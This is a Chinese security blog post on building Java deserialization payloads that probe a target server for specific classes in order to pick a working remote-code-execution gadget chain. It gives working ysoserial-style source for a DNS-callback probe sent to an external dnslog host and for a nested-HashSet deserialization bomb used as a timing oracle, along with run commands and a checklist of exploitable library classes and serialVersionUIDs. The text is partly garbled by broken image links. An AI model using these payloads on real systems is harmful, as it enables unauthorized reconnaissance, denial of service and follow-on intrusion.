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构造java探测class反序列化gadget
背景
你是否遇到过这样的情况，黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍，均无法RCE。由于没有报错信息，你根本无法确定是下面那个原因导致。
1. 没有gadget依赖的jar
2. suid不一致
3. jar版本不在漏洞版本
4. gadget使用的class进入了黑名单
5. ......
单纯的盲测，工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget，这些问题将很好解决！
解决serialVersionUID冲突问题
在构造之前我们先思考一个问题，Java原生反序列化是会检测serialVersionUID的。当我们本地序列化Class和服务器上的Class SUID不一样的时候，哪怕是真实存在这个类，我们也无法探测成功。涉及这一块检测在JDK如下方法中。
// java.io.ObjectStreamClass#initNonProxy
void initNonProxy(ObjectStreamClass model,
Class<?> cl,
ClassNotFoundException resolveEx,
ObjectStreamClass superDesc)
throws InvalidClassException{
// model是基于序列化数据构造的ObjectStreamClass对象
suid = Long.valueOf(model.getSerialVersionUID());
serializable = model.serializable;
externalizable = model.externalizable;
......
if (cl != null) {
// 通过类名，基于当前运行环境构造的ObjectStreamClass
localDesc = lookup(cl, true);
......
// SUID检查条件：是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同
if (serializable == localDesc.serializable &&
!cl.isArray() &&
suid.longValue() != localDesc.getSerialVersionUID())
{
throw new InvalidClassException(localDesc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
localDesc.getSerialVersionUID());
}
......
}
......
}我们不难判断出来如果要绕过serialVersionUID的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过，假设我们要探测A类存不存在。
1. 动态生成一个A类不实现Serializable接口进行序列化。如果线上的A类是实现Serializable接口，第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口，则两者suid都为0L,第三个条件不符合，自然无需检查。
2. 直接序列化A[].class，第二个条件直接不符合，直接不用检查SUID，无需关心实现实现Serializable接口。
这里我选择按照1的方式动态生成Class:
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}一次失败的构造
沿用之前的包裹大量脏数据绕WAF的思路来构造，发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。
List<Object> a = new LinkedList<Object>();
a.add(makeClass("TargetClass"));
a.add(new URLDNS.getObject("http://test.dnslog.cn"));通过Object属性也无法成功。第一个属性反序列化失败，第二个属性依然会被反序列化。
Class A {
private Object a; // makeClass("TargetClass")
private Object b; // new URLDNS.getObject("http://test.dnslog.cn")
}调试后发现不存在class抛出的ClassNotFoundException异常,被try...catch了，并不能阻断java.io.ObjectInputStream#readObject内部流程，但是可以阻断其他可序列化类的readObject流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路，才能断链。
通过dnslog探测class
在一次午饭的时候和@NoPoint师傅交流，说到了可以改造URLDNS这个gadget探测class，我之前是在fastjson中使用过类似的思路。
重新分析了下URLDNS的调用链，发现可以在HashMap#readObject处阻断。当反序列化key-value时，如果value是一个不存在的Class的话，将会报错退出for循环，URL对象作为key将不会被putForCreate到hashcode方法触发dnslog。
// java.util.HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
// 序列化要探测的Class
K key = (K) s.readObject();
// 反序列化URL对象
V value = (V) s.readObject();
putForCreate(key, value);
}
}最终gadget构造如下:
@Authors({ Authors.NOPOINT,Authors.C0NY1 })
public class FindClassByDNS implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
String[] cmds = command.split("\\|");
if(cmds.length != 2){
System.out.println("<url>|<class name>");
return null;
}
String url = cmds[0];
String clazzName = cmds[1];
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
// 以URL对象为key，以探测Class为value
ht.put(u, makeClass(clazzName));
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
}java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap_副本-jadh.png)
通过反序列化炸弹探测class
有些环境可能没有配置DNS服务，这个时候就无法使用上面的gadget来探测。为了应对这个场景，我第一时间想到的就是改造JRMPClient。但是看了下调用链中的class没有Object类型的属性，没法断链。于是只能去挖掘新gadget，后面大约花了一周时间也没有成果。加之有其他事情，构造的事就搁浅了一段时间。直到无意间拜读@fnmsd师父的文章,看到了@Joshua Bloch的《effective java》，瞬间来了灵感。
里面给出了一个反序列化炸弹的技巧，通过构造特殊的多层嵌套HashSet，导致服务器反序列化的时间复杂度提升，消耗服务器所有性能，导致拒绝服务。在这个基础上，我选择消耗部分性能达到间接延时的作用，来探测class。
@Authors({ Authors.C0NY1 })
public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
int depth;
String className = null;
if(command.contains("|")){
String[] x = command.split("\\|");
className = x[0];
depth = Integer.valueOf(x[1]);
}else{
className = command;
depth = 28;
}
Class findClazz = makeClass(className);
Set<Object> root = new HashSet<Object>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<Object>();
for (int i = 0; i < depth; i++) {
Set<Object> t1 = new HashSet<Object>();
Set<Object> t2 = new HashSet<Object>();
t1.add(findClazz);
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
} 由于每个服务器的性能不一样，要想让它们延时时间相同，就需要调整反序列化炸弹的深度。所以在使用该gadget时，要先测试出深度，一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25到28之间，切记不要设置太大否则造成DOS。
我们来看下效果。InvokerTransformer类存在，延时25s。
java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28"_副本-crbj.png)
InvokerTransformer666类不存在，不延时。
_副本-faur.png)
配合class checklist食用
要想在实战中使用，我们就需要事先去制作一份class的checklist备用。下面我通过diff maven中央仓库的统计的结果。最新的checklist和gadget都更新到ysoserial-for-woodpecker项目。
6.1 CommonsCollections
必须存在类：org.apache.commons.collections.functors.ChainedTransformer
6.2 CommonsCollections4
必须存在类：org.apache.commons.collections4.comparators.TransformingComparator
6.3 CommonsBeanutils
必须存在类：org.apache.commons.beanutils.BeanComparator
6.4 c3p0
必须存在：org.apache.commons.beanutils.BeanComparator
以c3p0为例子，我们判断的步骤应该是
1. 第一步判断com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase是否存在，若存在C3P0可用
2. 第二步判断com.mchange.v2.c3p0.test.AlwaysFailDataSource是否存在，存在说明是高版本，suid切换-2440162180985815128。否则切换7387108436934414104
最后的思考
有了类探测当然不只可以做排查gadget可用性问题，只要你维护出一个不错的class checklist。如下信息都可以判断：
1. Oracle jdk or Open jdk
2. 是jre还是jdk
3. 中间件类型（辅助构造回显/内存马）
4. 使用的web框架
5. BCEL classloader是否存在
6. 判断java版本是否低于<7u104（该版本可以00截断）
7. ......
其他类型的反序列化gadget也是一样的思路,小tips是否可以变成利器，看挥舞它的人。
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